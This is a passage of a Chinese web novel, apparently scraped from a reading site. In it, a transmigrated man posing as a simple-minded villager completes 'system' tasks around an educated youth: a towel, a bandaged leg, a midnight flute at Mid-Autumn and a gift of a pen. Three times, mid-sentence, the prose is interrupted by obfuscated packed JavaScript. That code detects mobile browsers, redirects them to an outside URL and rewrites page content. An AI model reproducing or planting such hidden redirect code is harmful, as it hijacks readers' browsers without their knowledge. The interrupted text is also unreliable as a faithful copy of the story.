程尔摇摇头。 看起来大叔也没有把他之前偷毛巾的事当回事，应该没有跟陆执墨说，否则他态度不会这么自然，程尔松了口气。 “你在这等着，你小陆哥马上来了。”大叔临走前撂下一句话。 没多久，那边果然出现了陆执墨的身影，他的手上竟然还拿着那条毛巾。 程尔愣了一瞬，他本来没有多想，以为陆执墨是什么东西拉下了正好一起带回家，没想到是拿毛巾。 “小尔，把右腿伸直。”陆执墨重新在他旁边蹲下来。 程尔懵圈地听着他指挥，在他还没有反应过来的时候，陆执墨已经熟练地在他受伤严重的那条腿上包扎好了，那条毛巾以一种奇怪的方式到了他身上。 “好了。”陆执墨将他整个人扶起来，架着他的手臂问，“小尔试试还能走吗？” “好。”程尔点头，在陆执墨的帮助下开始向前走。 其实没有那么严重，只是有一点痛，程尔没有什么太大的感觉。 陆执墨低头观察着他的走路姿势，也松了口气：“还好，没太严重。” 程尔实在好奇，脱口而出问道：“哥学过吗？” 话一出口他瞳孔微缩，完了，又有点露馅了…… 陆执墨自然不傻，也偏过头盯着他看了许久，似乎是发现他的表情一如既往，没有太大变化，陆执墨又主动打断了这奇怪的氛围，回答道：“我学过一些基础的急救知识，看过一些书。小尔想学的话，也可以教你。” 这什么意思？傻子也学不会啊…… 跟陆执墨有点混熟了，他的社交恐惧症在陆执墨身上没法发作，这下说话太随意了，有时候他自己都没注意，真是完蛋…… 程尔不敢再看陆执墨，沉默地继续装傻子。 好在陆执墨并没有追问，十分善解人意。 两人没再说话，只是顶着大太阳继续向前走，过了一阵，不知道是不是嫌太慢了，陆执墨停了下来，说：“小尔，来，我背你。” 程尔很不愿意，被人背着也贴的太近了点，他有点受不了，再说，他现在身上脏的很，会把陆执墨衣服弄脏。 他沉默地摇头，表现出了明确的拒绝。 陆执墨倒也没坚持，只带着他继续往前走，一边随口问道：“忘记问你了，小尔是过来找我的吗？” 程尔整个人一僵，什么意思，难道那个大叔把碰到他的事跟陆执墨说了？ 完了，他不会还说了他当时在偷拿东西的事吧？虽然他还没有碰到，但那个大叔应该是看见了的…… 程尔心虚得不行，倒是忘记系统跟他说过他没有被发现了。 如果真确定被发现了，系统肯定会有惩罚的。 好在，陆执墨见他似乎有些紧张，也没有强行等待他的回答，只笑着说：“小尔别担心，我不是说你的意思。下次如果小尔想来找我的话，可以不用这么着急，我不会怪你的。” 哦，是这个意思啊…… 程尔脸瞬间放松了下来，甚至努力对陆执墨挤出来一个微笑：“嗯。” 陆执墨却有些惊讶地挑了下眉，伸手摸了下他的头，笑道：“小尔笑起来很好看，多笑笑。” “哦。”程尔应下，却没当回事。 大概是他很小的时候就被爸妈送去学武了，他的师兄是很严肃的人，所以他也学会了这副模样。 等他大了去上学他才发现，原来小孩子不经常笑才是不正常的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265347|198094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他已经习惯了，也没有改过来。 又回到陆执墨的院子，这次又是陆执墨打了水来给他清洗伤口，好熟悉的场景。 程尔都有些不好意思了，他好像一直在麻烦陆执墨，虽然爷爷也帮了陆执墨忙，可他好像没做什么。 不仅什么都没做，还要被系统逼迫对陆执墨做一些奇葩事，真是想想都有些良心不安了…… 程尔抿着唇，盯着陆执墨垂下的眼睑失了神，陆执墨眼皮上的那颗小痣已经成了他的标记，他几乎习惯地去盯着看，简直要比陆执墨自己还要熟悉了。 “小尔，怎么了？痛？”陆执墨放轻了动作，抬头看他。 程尔连忙摇头：“不痛。” “痛的话，小尔记得说。”陆执墨继续给他清理伤口，他实在细心，连手掌里的沙子都一粒粒小心清理了出来。 程尔感觉就是去医院护士姐姐大概也就这样了，更何况这边现在应该还没有医院吧？ 他正想着，就听到陆执墨说： “我先给你上些药，你不要怕，我真的学过。去黄医生那里他也大概是这么处理的。” 程尔看着他点头：“嗯。” 他其实并不觉得有什么，伤口只是流血的时候看着吓人，现在洗干净之后，程尔觉得伤口并不算大。 小时候他也经常摔到膝盖，那会儿连药都不怎么涂也好了。 陆执墨将毛巾拆下来放在了程尔旁边的凳子上，而后转身去拿干净的棉布过来，蹲下来给程尔的手和腿都包扎好了。 “来，你站起来试试能不能走路。”陆执墨开口。 程尔听话地抬脚，陆执墨的手艺不错，走路没有影响。 陆执墨将他又扶回去，说：“小尔在这坐着等我，我去把东西收拾一下再送你回家，你不要自己走了。” “好的，哥。”程尔真诚地点头，他这样跑路也太不像话了，“谢谢哥。” 程尔最后还是没忍住说出口。 陆执墨笑了笑，转身进了屋。 他走后，程尔无聊地看了看这个小院，没什么特别的，就是被陆执墨收拾得很干净。 “嗯？”他的手乱碰了一下，却摸到了旁边的毛巾。 那上面还有一些血迹，程尔拿起来，本来是想着他拿回去洗洗再还给陆执墨，系统却在这个时候突然出声道： “恭喜宿主，剧情任务完成了！” “啊？”程尔有些莫名，这也行？ 程尔接受了现实，又开口问：“那，这个毛巾我还能还给陆执墨吗？” 系统回答：“宿主，按照剧情是不行的，你还是拿着吧……” 程尔顿时有些无语，他回头看了一眼陆执墨，陆执墨还在收拾药箱。 好吧，只能说，天时地利人和…… 程尔赶紧把毛巾叠好揣进了衣服里面，就是夏天的衣服实在不好藏东西，他只能挺直腰杆按住了肚子。 “小尔。” “啊？”听到陆执墨的声音，程尔的手不自觉更用力了，又很快反应过来，不自然地放松了一些。 好在陆执墨没有注意到他的小动作，只开口说：“我收拾好了，走吧，我送你回去。” “嗯。”程尔站了起来，心虚地侧了一点身子。 还好，陆执墨完全没有在意毛巾的事，只扶着程尔走路。 两人出了门，陆执墨带上大门，而后说：“小尔带钥匙了吗？” “嗯。”程尔这个倒是知道，就在他裤兜里，爷爷培训好的。 他本来应该拿出钥匙来的，可他的手太忙，只能等到了再说。 “小尔。” 程尔正想着他怎么合理拿出钥匙，就听到陆执墨突然认真叫了他一声，他侧过头去，发现陆执墨正笑着看他。 “嗯？”程尔疑惑，难道他走神的时候陆执墨说了什么他没有听到吗？ “小尔很喜欢哥吗？”陆执墨突然说。 程尔按住肚子的手不自觉用力，什么意思啊？陆执墨发现什么了吗？ 8. 世界一：偷窥隔壁男知青的阴郁小傻子（8） 不是，他到底是什么意思啊？ 程尔有些懵了，不断地回忆他做过的事，甚至低头看了一眼，也不算很明显啊…… 他把毛巾叠的很好，他自认为看不太出来。 不对，陆执墨这话是什么意思？ 喜欢？是哪种喜欢？ 应该不是那种喜欢吧？ 程尔突然冷静了下来，正常人会对傻子说喜欢吗？ 陆执墨明明之前还是把他当小朋友的相处方式…… 程尔松了口气，是了，都怪他是个正常成年人，这才多想了，对于一个小傻子来说，这根本不是什么难回答的问题。 他深吸了口气，看着陆执墨点头：“嗯！” 陆执墨笑了起来，又是那副卧蚕都挤压住眼睛的明朗笑容，看起来十分开心，他摸了摸程尔的头，说：“这还差不多，哥没白疼你。不过，小尔下次想来找我玩的话，可以提前告诉我，或者直接叫我，不用每次都那么着急。” “好。”程尔点点头，也是松了口气。 看来这个年代的人还是很淳朴的，是他完全误会了，真是想多了。 不过，他倒是想到了另一个问题，他老是这样打扰陆执墨工作，不知道陆执墨会不会被骂…… 可他也没办法，也不是他特意想去找陆执墨玩，是系统规定了任务来着……算了，下次如果任务没限制他还是不要工作时间去找陆执墨了。 这个年代处分好像还有点严重。 两人回了程尔家，大门已经是开着的了，看起来爷爷已经听说他摔跤的事提前回来了。 他们还没进门，老人就从门口出来了，见状赶紧过来扶住程尔：“这是咋弄的？小陆啊，多谢你了！” 陆执墨礼貌回答：“不用，小尔不小心摔了一跤，我就在附近，管他是应该的。您放心，我已经帮小尔处理过伤口了，没什么大事。” “诶，”爷爷点头，一边查看程尔身上的伤口，“麻烦你了，还给包这么好……” 两人客气了一番，爷爷确定了程尔没有什么大事之后，也松了口气，他们一起把程尔扶到了自己的房间坐着。 陆执墨开始给爷爷说了一下注意事项，让程尔少走动不要碰水，他会每天过来帮程尔换药。 爷爷自然又是一番感谢，程尔正在一旁装傻子，没想到爷爷突然拍了拍他的头，说：“来，尔啊，跟你小陆哥说谢谢。” 大概是怕程尔不懂事，爷爷特意提醒了一番。 程尔自然乖乖听话，看着陆执墨轻轻开口：“谢谢哥。” 陆执墨微微抬手，到了腰间的时候又改变方向收了回去，他笑了一声：“不用谢我。” “要谢的，要谢的，”爷爷开口说，“人家教书要请吃饭的，小陆你也不要，已经麻烦你太多了！尔娃也学的好，我看他背的可溜，都是你教的好，你要有什么想吃的菜一定跟我说，我去弄……” “好，我一定不客气……”陆执墨笑了一下。 …… 自从伤了腿之后，不知道是不是剧情改变了的缘故，还是系统良心发现，反正，倒是没有让他拖着病体做任务。 不过他倒是天天都能看到陆执墨，因为要给他换药的缘故，陆执墨干脆把教学地点也搬到了程尔的房间里，免得他走来走去。 因为在家里教学的原因，爷爷更是热情，说什么也要留陆执墨吃饭，这几天家里倒像真多了个家庭成员似的，热闹了许多。 程尔见爷爷高兴，也觉得挺好的。 他能看的出来，爷爷其实是那种很传统的农村老人，喜欢家里热闹些。 程尔的直觉没错，程老汉的确喜欢热闹，也许这个土地上的人民传承下来的就是喜欢多子多福热热闹闹。 可惜，程老汉的儿子儿媳都因为意外去世了，妻子死后，就只留下来程尔这个独苗苗。 还是个傻子，程老汉连他结婚生孩子的妄念都没有，哪家好姑娘愿意嫁给傻子呢？ 程老汉只希望程尔能平安过完这一辈子，别的奢求也没有了，可惜连这个都很难，他老了，干活越发力不从心了。 从前挑水没什么感觉，最近来回几趟都开始腰痛了。 不过，尔娃现在认了字，他说不定能给尔娃找个营生，混口饭吃，乡里乡亲帮一把，也够活了…… 程老汉看着程尔在陆执墨指导下认真写字的样子，悄悄笑了，没打扰他们，他转身出门，去菜园里摘晚上要做的菜。 “小陆啊，没打扰你们吧？” 程尔回头，发现爷爷拎着菜篮子，似乎才从外面回来，不过，他身边还跟着一个程尔不认识的婶子。 陆执墨的声音在他耳边响起：“没有，小尔正在抄写错字呢，有什么事吗？这是闫婶？” “唉，是我，陆知青记性好，我就老远跟你打过一次招呼。”闫婶笑着说。 爷爷替她补充道：“我正好碰到她过来找你呢，她家闫年从部队寄了封信回来，你说这也没几个认字的，最近的就是你了，这就过来求你帮着念念。” 闫婶连忙应声：“对对，我还差点找错了，陆知青，你看行吗？这石老师家实在有点远，我也难跑。” 陆执墨点头道：“可以的，闫婶，这都是小事，你把信给我吧！” “诶！”闫婶走了过来。 爷爷倒是转头又忙自己的去了，估计也是听别人家的信不太好。 程尔倒是没有想到这一层，他是个傻子，也没人会要求他回避。 他只是听到那个熟悉的名字有些新奇，闫年写信回来，不会是说他要回来的事吧？ 是了，剧情也该到了。再不出现，程尔都快忘记这号人了，他可是程尔下线的关键人物…… “闫婶，你找个地方坐着，挺长的。”陆执墨拆开了信，跟闫婶说。 程尔好奇地撑头看向陆执墨，这应该是原著里他们的第一次接触吧，虽然不是正式见面，真挺巧的，这边的知青很多，偏偏找上陆执墨。 大概是安排房子的时候，作者就已经把其他人都安排远了，只把陆执墨安排得跟闫家近点。 陆执墨开始念信，他的语调很平和，像是在读课文。看起来，主角的第一次见面印象应该没什么特别的。 程尔有些无聊，开始转着铅笔玩。那信确实长，陆执墨念了半天还在介绍部队的事，听得程尔都快打呵欠了。 不知道是不是程尔的错觉，他无聊地趴在桌子上之后，陆执墨念信的语速好像变快了一些。 程尔转过脸去看他，陆执墨对他弯了下唇角，而后继续念下一句。 终于在一堆絮叨话之后，信的内容有了实际信息。闫年似乎真的快回来了，因为服役期快到了，他父母似乎一直去信催他回来成家，闫年便没有留在部队。 不过程尔留意了一下，闫年好像没有说具体的回来时间，只说是最近，等事情处理好了就回。 程尔虽然有剧情在手，但他也不知道具体的时间，特别是现在剧情还因为他的掺和有了一些改动，他更是分不清楚了。 前期的剧情也主要在陆执墨身上，程尔其实没有一天到晚监视陆执墨在干嘛，所以他也分不太清具体节点，只从天气感觉出来，确实是快了。 因为最近，天气已经在悄悄降温了，已经没有那么那么热了，闫年不是在天很热的时候回来的，因为抓住程尔的那次，已经有人不在河边洗澡了。 算了，走一步看一步，他想那么远也没用。 程尔转过头去，继续写陆执墨要求他罚抄的错字。 说实话，他也是太久不拿笔写字了，才犯了一个低级错误，把偏旁写错了，被陆执墨要求抄写一页，他才写了一半。 等陆执墨读完信把闫婶送出门回来的时候，程尔已经写完了，他看向陆执墨，把写好的本子递给他看。 陆执墨愣了一下才接过来，检查了一番之后，他走过去摸了摸程尔的头：“怎么这么乖？” 程尔被搞得一激灵，虽然知道陆执墨只是把他当成小朋友，可怎么说两个大男人说这种话真是奇怪…… 陆执墨却没有发现，大概他是站着的，这会儿只能看到程尔的头顶，他已经习惯程尔不回答他说的话，拿着本子坐了回去。 程尔默默松了口气，他开始苦恼，怎么才能让陆执墨不把他当小孩看呢？老被这么摸头也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265348|198094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个事啊…… …… 程尔的腿伤修养了一阵子，终于好全了，现在结的痂也掉了，只有一点点白色的印记。 这段时间他没有任务执行也是轻松了一段时间，不过好景不长，他刚闲了一天，系统又给他发了新的任务。 不过这次的任务倒是有点意思，这次竟然没有限时，反而让程尔自己等待时机。 程尔起先还没搞懂系统是什么意思，整个任务文本模棱两可的，搞的跟解密游戏一样，程尔倒是来了点兴趣。 毕竟当时他还以为是玩剧本杀才屁颠屁颠签了合同，谁成想来了之后跟他想的完全不一样，完全苦逼…… 不过程尔也没太当回事，因为最近他也忙了起来。稻子种好之后，爷爷终于忙完了这一阵，可以不用每天去地里干活，所以有空去准备过冬的柴火。 这也是原来的程尔最喜欢的活动，因为可以跟爷爷去山上玩。 程尔也是太无聊了，去山上玩他也是很高兴的，因为爷爷不会让他干什么重活，他自己薅一些落下的松针象征性的装一筐，然后就去山上到处找蘑菇去了。 说实话真的很好玩，蘑菇爷爷还做汤给他吃，特别好吃，山上还会有野果子，这几天程尔玩的不亦乐乎，都快忘记任务这回事了。 也是因为教学暂时终止了的缘故，他最近不怎么能看到陆执墨了，因为陆执墨他们那些知青都被统一叫去参加教育了，陆执墨很忙，每天很晚才回来，没空教程尔认字了。 程尔倒是乐得清闲，因为陆执墨还给他特意留了一本连环画，那上面的字都很简单，他每天晚上可以看着玩。 等程尔快忘记那个随机触发的系统任务时，某天早上，任务文本却突然更新了一行，意思大概是时间快到了，让程尔注意。 程尔还特地问了下爷爷今天是什么日子，他来这边之后，除了特意问系统，其实他也不知道今夕是何夕，经常过得糊里糊涂的，没有手机和手表是这样的。 没想到爷爷还真跟他说了，原来今天就是中秋节了，爷爷还以为是陆执墨特意教过他，还特别高兴来着。 程尔倒是没特意纠正，陆执墨最近没时间教他，节日这些倒是不在之前的教学内容。 他还在发呆，就听爷爷又叹了口气：“爷还想着过节了请小陆同志吃顿好的感谢他，可惜他们知青要排节目，没有时间回来。” 还有这种事？程尔倒是第一次听说。 不过，陆执墨今天应该还是会回来的吧？毕竟系统给他提示了，他的任务一般都是跟陆执墨有关的。 程尔也没有特别当回事，爷爷为了宴请陆执墨还特意杀了只鸡，这好东西全落程尔肚子里了。 说实在的，来这这么久，他嘴里也快淡出鸟了，今晚是真吃爽了。 爷爷还特意给他准备了点米酒喝，甜滋滋的，程尔跟喝饮料一样喝了好几杯。 他发现他以前不爱喝奶茶还是甜的喝多了，这没东西喝的时候，啥都好喝，都不想念他的冰美式了…… 晚上洗漱完，程尔坐在桌子前面看了一页新的连环画，按照陆执墨布置的作业要求，把不认识的新字都抄了下来等他回来讲。 程尔写完，又往后看了几页，这故事是个讲古代打仗的，还挺有趣的。 他看困了，再加上喝了酒有些晕，很快便灭了灯睡觉了。 程尔没想到的是，在他睡得正香的时候，脑子里突然又响起了闹钟，系统在他脑子里大喊：“宿主，宿主，快醒醒，任务触发了！” “什么啊……”程尔皱起了眉，“你们这什么系统啊，宿主没人权啊？这都几点了？” 系统老实回答：“三点多了，宿主，这剧情也不是我们写的啊，你要怪就怪原作者吧……” 程尔被闹了一通，只好坐了起来，等他看清了任务文本之后，在原地愣了几秒。 他努力去听，才发现，寂静的夜里，确实有一阵若有若无的笛声传来。 听不清吹得是什么曲子，不过重点完全不在这里。 “所以，你要我半夜三点爬山听别人吹笛子？你疯了吧？”程尔内心抓狂，“正常人谁干的出这事啊？” 9. 世界一：偷窥隔壁男知青的阴郁小傻子（9） 系统弱弱地说：“宿主，你忘了，你是在扮演痴情炮灰呢，再说，你演的也不是正常人啊……” 程尔拨开刘海清醒了一下，叹了一声道：“原著的程尔怎么知道是陆执墨在吹笛子的？” 系统：“原著里陆执墨出门排练的时候拿着笛子被他看到了，宿主你这几天都玩疯了，根本没往陆执墨那边看，你才不知道的。” “废话，我又不是真对陆执墨一见钟情，要不是被你们强制爱，我早跑路了！”程尔发泄了一通，又只能沉默地爬起来。 他不想被雷劈啊，那能怎么办呢，只能去了…… 月黑风高夜，杀人放火时……不是，小说看多了…… 程尔拍了下额头，摸着黑起来穿好了衣服。天已经有些冷了，特别是在半夜，程尔不想让爷爷操心，尽量多穿了些衣服，避免感冒。 他站在窗前，仔细听了听笛声，偷偷掀起了窗帘布做了下心理建设。 还好，还好。 因为今天是中秋夜的缘故，月光和路灯一样亮。 程尔本来还担心要摸黑上山了，还好不用。 他轻手轻脚地关上房门，走到了大门前。夜里安静得可怕，爷爷的鼾声十分明显，程尔诡异地安心了。 还是早去早回吧，不要让爷爷发现，不然他会担心的。 程尔动作极轻，偷偷打开了大门，还给自己留了条缝。 半夜比白天要冷的多，程尔一走到外面就忍不住打了个寒颤，还好他穿的够多。 走在路上，只感觉月光好亮好亮，跟他小时候记忆中那么亮。 后来一直生活在城市里，程尔已经很久没见过这么亮的月光了，他忍不住抬头看了看。 月亮比太阳温柔得多，被人类盯着看也不会刺激人类的眼睛，包容着世间万物的一切注视。 程尔循着小路上山，后山上山的路就那么几条，这条是最近的，他想陆执墨应该也是从这条路上山去的。 这几天他和爷爷经常走这条路上山，程尔倒是不陌生，在月光的指引下，他走的十分安稳。 因为已经进入了执行任务状态，系统好像又自动隐身了，程尔本想喊它出来说说话，后来发现，他好像也没有那么害怕，就算了。 毕竟月光很亮，把路都照的很清楚，就没有那么害怕了。 人类最大的恐惧来自于未知。 走了一阵子之后，笛声越来越清晰了，也不用系统指路，程尔循着声音走就行了。 “谁家玉笛暗飞声，散入春风满洛城。” 此情此景，程尔脑子里突然浮现出陆执墨给他念这首诗的场景，倒是十分合适。 可惜在古代吹笛子倒是个正经大众爱好，但现在么，半夜吹笛子，哪怕是陆执墨，程尔也想吐槽一句：哥们半夜发什么疯呢？ 但他和陆执墨倒也没有熟到能这么说话的地步，跟陆执墨说这种话也不合适，陆执墨不是那么糙的人。 他好像就是这个年代刻板印象中的书香世家养出来的人，都不知道是小说人设设定的太完美，还是某个时空里真的会存在这样的人，程尔总觉得陆执墨完美的不真实…… 程尔紧了紧身上的衣服，加快了脚步。 真不知道图啥，半夜三点吹笛子疯，听笛子更是疯…… 程尔为了不被雷劈，也只能被迫发疯了，他捏住手腕上的银镯，心中十分无奈。 这个世界，总是迫害正常人…… 笛声越来越近，程尔的脚步慢了下来。 因为任务提示里是让程尔偷听，并没有让他跟陆执墨打招呼。 这就是原著程尔的做事风格，小傻子也知道自己不讨人喜欢，也不喜欢跟人搭话。 程尔听着声音，远远看到了山崖上翘起来的一块大石头上，站着一个人，月光下，他手上的竹笛反射出明显的光。 大概是主人经常使用的缘故，已经十分光滑，这才能这么反光。 陆执墨站在月光下，侧面对着程尔，他今天穿了一件长款的风衣，是程尔没有见过的样子。 也是，自从天气转凉之后，程尔就没怎么见过陆执墨了。 还有些许的陌生，大概也是因为这会儿陆执墨一点都没有笑。 程尔低头找了下，找到了任务提示中的那块小石头，他走过去，靠在了旁边。 不远处，陆执墨又转换了手势，开始新的一曲。 程尔本来没有当回事，毕竟他又不是真的来欣赏笛声的，他只是来打卡完成任务的。 可他听着听着，突然感觉这首曲子有些熟悉。 程尔慢慢抬头，盯着陆执墨不停变换的手指，曲调慢慢在他心中成型。 月光下，陆执墨闭着眼睛，熟练地吹出曲调。 程尔愣了神，那是首他听过的曲子，他听出来了—— 长亭外，古道边，芳草碧连天。 晚风拂柳笛声残，夕阳山外山。 天之涯，地之角，知交半零落。 一壶浊酒尽余欢，今宵别梦寒。 程尔眼中的陆执墨突然变得朦胧，大片的月光淹没了他，只剩下笛声依旧清晰悠扬。 眼泪就这样毫无征兆地落下来，程尔无声地叹了一声：他有点想家了。 大概是这边中秋节的氛围并不浓重，没有像现代那样有月饼和大闸蟹还有铺天盖地的宣传，程尔晚上吃饭的时候其实并没有联想那么多。 可这首曲子实在经典，小学时学《爸爸的花儿落了》那篇课文时，老师就教了他们这首歌。 有时军训时还会唱这首歌，那时都是笑着唱的，并体会不到歌词里的情感，只单纯觉得词写的好。 到这个瞬间，程尔才明白什么叫触景生情，有感而发。 人总是会有些矫情的时刻的。 程尔突然懂了，陆执墨大半夜爬到山上吹笛子也不是疯了，他大概也想家了吧…… 这是个真实的世界，陆执墨是个真实的人，从没有一刻程尔这么笃定。 他们都有着相同的情感，有着想回不能回的家。 程尔伸手抹了下眼泪，看清了陆执墨的身影，他依旧在投入地演奏着，手指在笛身上熟练地变换着位置。 “对不起。”程尔看着陆执墨在心里默默说。 陆执墨没有疯，他选择大半夜来山上吹笛子，大概是怕吵到别人吧…… 除了这个时间地点，好像也确实没有他能自由表达的时候。 程尔对陆执墨的理解又多了一些，他也只是个想家的孩子而已，哪怕平时看起来再气定神闲，仿佛是发生什么事都淡然自若的人，其实也才二十岁而已。 他甚至还没有上过大学呢…… 程尔眨了下眼睛，陆执墨其实比他死之前还要小一些呢…… 平时他表现的太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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程尔干脆打开门出来了，他瞄了眼陆执墨的眼睛，陆执墨应该没有哭过，也不知道他刚刚觉得他想家是不是想多了。 陆执墨见他出来，嘴角的笑更明显了，他伸手摸了摸程尔的头，笑着说：“小尔已经上过了吗？没耽误你吧？” 程尔只好摇头，毕竟他不是真的要上厕所。 “来，坐。”陆执墨拉着程尔坐在了门槛上，他抬手指着月亮道，“小尔，那是月亮，今天是中秋节，按我们国家的传统，应该是要赏月的，我回来的太晚了，没来得及教你。” 程尔看了他一眼，原来陆执墨还想提前回来教他的吗？ “小尔已经忘记哥了吗？不认识我啦？为什么一直不理哥？” 程尔还在发着呆，陆执墨却突然把脸凑了过来。 实在太突然，程尔吓了一跳，出声说：“没有，哥。是哥忙，爷爷说哥很忙。” 程尔解释得磕磕绊绊，倒真像个说不明白话的傻子。 陆执墨又重新坐好，他笑了一下，说：“那就好。小尔，哥教你一句中秋的诗吧，你好久没学新东西了。” “好。”程尔点头。 陆执墨把他的手拉过来，在他掌心用手指一个字一个字地写着，一边念了出来：“露从今夜白，月是故乡明。” 程尔看着他愣了一瞬，陆执墨应该还是想家的…… 10. 世界一：偷窥隔壁男知青的阴郁小傻子（10） 程尔看着他，目光变得柔和，大概是月光太过温柔，让人的心也跟着柔软起来，他突然轻声说：“你想家了吗？” 不知道为什么，程尔之前随便就能开口，这会儿对着陆执墨的脸却叫不出来哥了，于是干脆省略了称呼。 大概是意识到自己其实比陆执墨大之后，就有点羞于启齿了吧？ 陆执墨倒没有注意称呼问题，他只是有些惊讶于程尔问出的话。 “我，”陆执墨甚至有些不知道该怎么说，“有一点？” 他看向程尔，努力辨别着程尔的表情，眼神微微闪动，他突然觉得小尔好像很认真，是错觉吗？ 程尔抱住自己的腿，抬头看了眼月亮，他轻声开口：“我也想。” 陆执墨看着他的侧脸没有说话。 两个人沉默了许久，谁也没有再继续追问。 程尔知道大概陆执墨会感到奇怪吧，可他真的不知道能跟谁说了，也许是气氛太好，他就这么说出来了。 其实，他真的很想回家，想他小小的出租屋，虽然才住了半年，可他把什么都买好了，冰箱里还有好多饮料没喝完呢…… 想到这里，程尔更是有点想哭了。他没有在继续下去，他也不能一直在陆执墨面前这么肆意，所以他率先站了起来。 “哥，我困了。”程尔开口说。 陆执墨跟着站起来，伸手摸了摸他的头，轻笑了一下：“去吧，回去睡觉去。” “嗯。”两人在月光下道别，合在一起的身影变成长长的两条。 …… 第二天早上程尔照旧被爷爷喊起来吃早饭，可因为昨晚出去做任务的缘故，他压根没有睡好，吃完饭之后很快就困了。 他还坐在书桌前看新的连环画打瞌睡，就听爷爷喊他：“尔啊，小陆说今天放假有时间，让你回去上课，你收拾好了就过去。” “哦。”程尔应了一声。 他看了一眼，爷爷应该是又去给陆执墨送菜回来了，大概是过节的时候没有请到他，还是给他送了些好吃的。 爷爷和陆执墨都挺自来熟的，说不定他们比程尔和陆执墨还要更熟一些。 程尔无声地笑了一下，收拾好了自己的作业本就站了起来。 “呵——”他打了个哈欠，说起来，陆执墨睡那么点时间不困吗？ 程尔到的时候特意观察了一下，陆执墨脸上并没有黑眼圈。 他看起来还和平时一样，只是天冷了，他今天穿了一件棕色的毛衣，看起来更加斯文，像刻板印象里的老师。 “小尔，来，坐。”陆执墨看到他，对他笑着招手。 两人默契地没有提昨晚的事，只是开始了教学。 程尔跟陆执墨汇报了一下自己最近这段时间自学的连环画内容，把一些难的字记下来的本子也给他看了。 陆执墨摸了摸他的头，夸奖道：“小尔看的很认真，非常好。” 他将眼镜盒挪到一边，开始拿出新的纸写上程尔要学的字。 这是陆执墨的习惯，会写一个示范的正楷字，怕程尔学错了。 程尔撑着头看着他写字，眼神瞄到了陆执墨的眼镜。说起来，陆执墨戴眼镜的时候其实不多，不知道是不是坏了在这边很难修的缘故，他使用得很珍惜。 从开始到现在，程尔好像就看过两三回陆执墨戴眼镜的样子，他戴眼镜的时候，会遮住眼神光，这时候鼻子线条比较突出，会显得比平时凶一些。 程尔盯着陆执墨眼皮上的那颗小痣，在心里笑了一下。 陆执墨不戴眼镜更好，他已经习惯去找那颗小痣了，看不到的话，反而还有些不习惯呢…… “来，小尔，今天我们不先教了，你看着书的内容，能猜到这些字是什么意思吗？”陆执墨翻开了连环画。 他真的是个很好的老师，这样教的话，学生应该会印象很深吧！ 程尔一边感慨一边回答着陆执墨的问题，直到把所有的字都答完。 陆执墨高兴地摸了几把程尔的头发，力气太大，都弄乱了，他笑着道：“小尔可真是太聪明了，你说的大部分都对了！我本来还想说先检查下，现在看来……” 他没再说话，反而起身从包里翻了个盒子出来，递给程尔，道：“小尔打开看看，这是我给你准备的进步奖励。” 程尔愣了一下，他倒是没想到陆执墨这么有心。 他接过盒子，里面是一支精致的银白色钢笔，上面的花纹雕刻精细，一看就不是便宜货。 程尔有些不知道该说些什么好，为什么要给一个随便学学的傻子送这么好的礼物呢？ 陆执墨这个人真的很奇怪…… 大概是程尔只是盯着看也不说话，太久了，陆执墨替他收了起来，说：“还给你准备了瓶墨水，小尔收下吧，这是你好好学习的奖励，我让人特意买的，你看，这里还有你名字的首字母。” 程尔点头，还是收下了。 毕竟是陆执墨的一番心意，以后找个机会送个别的东西给他吧…… 现在闫年都要回来了，离他下线应该没多久了，等他彻底下线了之后，再找个机会赚点钱，这个年代赚钱程尔倒是看了不少相关小说，他很有信心。 “要试试吗？”陆执墨笑了一下，“还是我们继续学，小尔自己拿回家玩？” 程尔想了想，说：“继续学。” 他其实有点困了，还是先学完回去睡觉吧…… “好，那我们开始吧！”陆执墨拿出他写好的纸，开始讲解第一个词，“这个词念‘辉煌’，直接的意思是形容光芒强烈又美丽，比如灯光连成一片我们就可以说是辉煌的灯火。还可以引申来形容一些卓越成就，比如……小尔？” 陆执墨停下了笔，侧头看向趴在桌子上的程尔，轻笑了一声。 程尔趴在桌子上，手臂挤着脸颊肉，刘海在阳光下显得透明又轻盈，睡得十分香甜。 “小尔，睡着了吗？”陆执墨轻声开口问道，不知道是想让程尔醒过来还是不想。 程尔自然没有回应，他已经完全陷入了睡眠，他本来就困，昨天实在折腾太晚，陆执墨讲课的声音又太温柔，完全幻视高中语文课，他撑着撑着就不自觉倒下来睡着了。 “是我的错。”陆执墨轻轻抚平程尔头顶翘起来的头发，将身上的外套脱下来搭在了程尔身上。 这会儿阳光正好，脱了外套倒也不冷，陆执墨没有起来，只是撑着头看着程尔。 他在考虑要不要把程尔抱到床上去睡，又怕动作太大把程尔弄醒了。 风从窗口吹来，将程尔的头发吹得微微晃动，陆执 